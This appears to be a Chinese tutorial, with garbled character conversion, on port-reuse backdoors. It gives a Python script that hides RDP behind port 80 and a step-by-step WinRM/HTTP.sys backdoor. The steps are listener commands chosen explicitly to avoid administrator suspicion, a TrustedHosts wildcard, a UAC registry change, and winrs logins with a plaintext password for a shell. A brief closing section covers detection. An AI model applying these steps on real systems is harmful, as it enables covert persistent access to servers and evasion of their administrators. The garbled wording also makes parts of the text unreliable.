即本地創建2個套接字sock一、sock2,sock1監聽80端口,sock2監聽其它端口。當有80的鏈接時,sock1將接收到的數據進行判斷,若是是http數據則處理,若是是其它數據則將其轉發到sock2的端口。python
在本地創建一個監聽和本地開放同樣的端口如80端口,當有鏈接來到時,判斷是不是本身的數據包,若是是則處理數據,不然不處理,交給源程序。web
端口重定向只是利用了本地環回地址127.0.0.1轉發接收外來數據,端口複用只是利用了socket的相關特性。shell
示例代碼:windows
s = socket(AF_INET,SOCK_STREAM,0); setsockopt(s,SOL_SOCKET,SO_REUSEADDR,&buf,1)); server.sin_family=AF_INET; server.sin_port=htons(80); server.sin_addr.s_addr=htonl(「127.0.0.1」);
在端口複用技術中最重要的一個函數是setsockopt(),這個函數就決定了端口的重綁定問題。安全
setsockopt()函數,用於任意類型、任意狀態套接口的設置選項值。儘管在不一樣協議層上存在選項,但本函數僅定義了最高的「套接口」層次上的選項。服務器
在缺省條件下,一個套接口不能與一個已在使用中的本地地址捆綁(bind()))。但有時會須要「重用」地址。由於每個鏈接都由本地地址和遠端地址的組合惟一肯定,因此只要遠端地址不一樣,兩個套接口與一個地址捆綁並沒有大礙。爲了通知套接口實現不要由於一個地址已被一個套接口使用就不讓它與另外一個套接口捆綁,應用程序可在bind()調用前先設置SO_REUSEADDR選項。請注意僅在bind()調用時該選項才被解釋;故此無需(但也無害)將一個不會共用地址的套接口設置該選項,或者在bind()對這個或其餘套接口無影響狀況下設置或清除這一選項。網絡
咱們這裏要使用的是socket中的SO_REUSEADDR,下面是它的解釋。架構
SO_REUSEADDR 提供以下四個功能:socket
SO_REUSEADDR:容許啓動一個監聽服務器並捆綁其衆所周知端口,即便之前創建的將此端口用作他們的本地端口的鏈接仍存在。這一般是重啓監聽服務器時出現,若不設置此選項,則bind時將出錯。
SO_REUSEADDR:容許在同一端口上啓動同一服務器的多個實例,只要每一個實例捆綁一個不一樣的本地IP地址便可。對於TCP,咱們根本不可能啓動捆綁相同IP地址和相同端口號的多個服務器。
SO_REUSEADDR:容許單個進程捆綁同一端口到多個套接口上,只要每一個捆綁指定不一樣的本地IP地址便可。這通常不用於TCP服務器。
SO_REUSEADDR:容許徹底重複的捆綁:當一個IP地址和端口綁定到某個套接口上時,還容許此IP地址和端口捆綁到另外一個套接口上。通常來講,這個特性僅在支持多播的系統上纔有,並且只對UDP套接口而言(TCP不支持多播)。tcp
通常地,咱們須要設置socket爲非阻塞模式,原因若是咱們是阻塞模式,有可能會致使原有佔用端口服務沒法使用或自身程序沒法使用,因而可知,端口複用使用非阻塞模式是比較保險的。
然而理論事實是須要檢驗的,當有些端口設置非阻塞時,原因它的數據傳輸連續性,可能會致使數據接收異常或者沒法接收到數據狀況,非阻塞對於短暫型鏈接影響不大,但對持久性鏈接可能會有影響,好比3389端口的轉發複用,因此使用非阻塞須要視端口狀況而定。
此方法目前對Apache和IIS5.0及如下版本有效
目的: 原先存在80端口,但願22,23,3389複用80端口。
原理:
(1) 外部IP鏈接本地IP: 192.168.1.2 => 192.168.2.1:80 => 127.0.0.1:3389
(2) 本地IP轉向外部IP: 127.0.0.1:3389 => 192.168.2.1:80 => 192.168.1.2
首先外部IP(192.168.2.1)鏈接本地IP(192.168.1.1)的80端口,因爲本地IP(192.168.1.1)端口複用綁定了80端口,因此複用綁定端口監聽到了外部IP(192.168.2.1)地址流量,判斷是否爲HTTP流量,若是是則發送回本地80端口,不然本地IP(192.168.1.1)地址鏈接本地ip(127.0.0.1)的3389端口,從本地IP(127.0.0.1)端口3389獲取到的流量由本地IP(192.168.1.1)地址發送到外部IP(192.168.2.1)地址上,這個過程就完成了整個端口複用重定向。
代碼:
#coding=utf-8 import socket import sys import select host='192.168.1.8' port=80 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.setsockopt( socket.SOL_SOCKET, socket.SO_REUSEADDR, 1 ) s.bind((host,port)) s.listen(10) S1=socket.socket(socket.AF_INET,socket.SOCK_STREAM) S1.connect(('127.0.0.1',3389)) print "Start Listen 80 =>3389....." while 1: infds,outfds,errfds=select.select([s,],[],[],5) #轉發3389需去除 if len(infds)!=0:#轉發3389需去除 conn,(addr,port)=s.accept() print '[*] connected from ',addr,port data=conn.recv(4096) S1.send(data) recv_data=s1.recv(4096) conn.send(recv_data) print '[-] connected down', S1.close() s.close()
目的:原先存在80端口,而且監聽80端口,須要複用80端口爲23(其餘任意)端口
原理:
外部IP:192.168.2.1=>192.168.1.1:80=>run(data)
內部IP:return(data)=>192.168.1.1:80=>192.168.2.1
端口複用的原理是與源端口占用程序監聽同一端口,當複用端口有數據來時,咱們能夠判斷是不是本身的數據包,若是是本身的,那麼就本身處理,不然把數據包交給源端口占用程序處理。
該後門的基本原理是使用Windows的遠程管理服務WinRM,組合HTTP.sys驅動自帶的端口複用功能,一塊兒實現端口複用後門。
HTTP.sys驅動是IIS的主要組成部分,主要負責HTTP協議相關的處理,它有一個重要的功能叫Port Sharing,即端口共享。全部基於HTTP.sys驅動的HTTP應用能夠共享同一個端口,只須要各自注冊的url前綴不同便可。
Net.TCP Port Sharing服務是WCF(Windows Communication Foundation)中的一個新的系統組件,這個服務會開啓net.tcp 端口共享功能以達到在用戶的不一樣進程之間實現端口共享。這個機制的最終是在HTTP.sys中實現的,目前將許多不一樣HTTP應用程序的流量複用到單個TCP端口上的HTTP.SYS模型已經成爲Windows平臺上的標準配置。這爲防火牆管理員提供了一個共同的控制點,同時容許應用程序開發人員最小化構建可利用網絡新應用程序的部署成本。跨多個 HTTP應用程序共享端口的功能一直是Internet信息服務(IIS)的一項功能。實際上,HTTP.SYS容許任意用戶進程共享專用於HTTP流量的TCP端口。
HTTP.sys是在Windows Server 2003最開始引進的,這個驅動監聽HTTP流量,而後根據URL註冊的狀況去分發,這樣多個進程能夠在同一個端口監聽HTTP流量
匹配過程:
使用 netsh http show servicestate
命令能夠查看全部在HTTP.sys上註冊過的url前綴。
實際上,WinRM就是在HTTP.sys上註冊了wsman的URL前綴,默認監聽端口5985。這點從微軟公佈的WinRM的架構圖也能夠看出來。
所以,在安裝了IIS的邊界Windows服務器上,開啓WinRM服務後修改默認listener端口爲80或新增一個80端口的listener便可實現端口複用,能夠直接經過Web端口登陸Windows服務器。
步驟:
Windows Server 2012及以上,已經默認開啓WinRM並監聽了5985端口
Windows Server 2008及一下,使用 winrm quickconfig -q
命令開啓WinRM並自動從防火牆放行5985端口。
winrm使用端口:http 5985 https 5986
對於本來就開放了WinRM的機器(Server 2012),須要保留該端口,以避免影響系統管理員正常使用,同時還須要新增一個80端口的Listener供攻擊者使用。
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}
即Windows Server 2012,只須要執行上述命令便可實現端口複用。
此時使用netsh http show servicestate
查看能夠看到,http.sys新註冊了一條url前綴:
對於本來未開放WinRM服務的機器(Server 2008),須要把新開的5985端口修改至80端口,避免引發系統管理員懷疑。
winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}
即Windows Server 2008,須要開啓WinRM服務後,使用上述命令修改端口便可實現端口複用。
首先開啓本機WinRM服務,而後設置信任鏈接的主機
winrm quickconfig -q # 開啓服務 winrm set winrm/config/Client @{TrustedHosts="*"} # 設置信任鏈接的主機
而後執行使用winrs命令鏈接遠程WinRM服務便可執行命令。
winrs -r:http://www.baidu.com -u:administrator -p:P@ssw0rd whoami
上述會在遠程主機執行whoami命令。使用cmd替換whoami便可獲得一個交互式shell。
注意:
此時會在目標主機安全日誌中產生登陸類型爲 3
的登陸記錄, 這次登陸的登陸事件順序爲:"憑據驗證" -> "特殊登陸" -> "登陸(4624)" -> "註銷(4634)"
登陸事件展開:
WinRM服務也是受UAC影響的,因此本地管理員用戶組裏面只有administrator能夠登陸,其餘管理員用戶是無法遠程登陸WinRM的。要容許本地管理員組的其餘用戶登陸WinRM,須要修改註冊表設置。
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
修改後使用管理員組用戶便可登陸WinRM。
系統自帶的winrs命令登陸時須要使用明文帳號密碼,那不少場景下尤爲是windows 2012之後,常常只能抓取到本地用戶的hash,沒法輕易得到明文密碼。所以須要實現一款支持使用NTLM hash登陸的客戶端,使用python來實現不難。
能夠在服務和應用程序
中查找是否存在Windows Remote Management (WS-Management)
,存在則證實WinRM服務已經開啓(此時已經能夠經過winrm監聽的端口遠程鏈接主機)。
可執行netsh http show servicestate
命令,找到輸出結果中註冊的url前綴爲WSMAN
的端口,而後執行winrm e winrm/config/listener
命令獲取winrm端口(HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WSMAN\\Listener\\
),比較結果,若是有重合,則證實存在http.sys端口複用問題。
https://www.codeproject.com/Articles/437733/Demystify-http-sys-with-HttpSysManager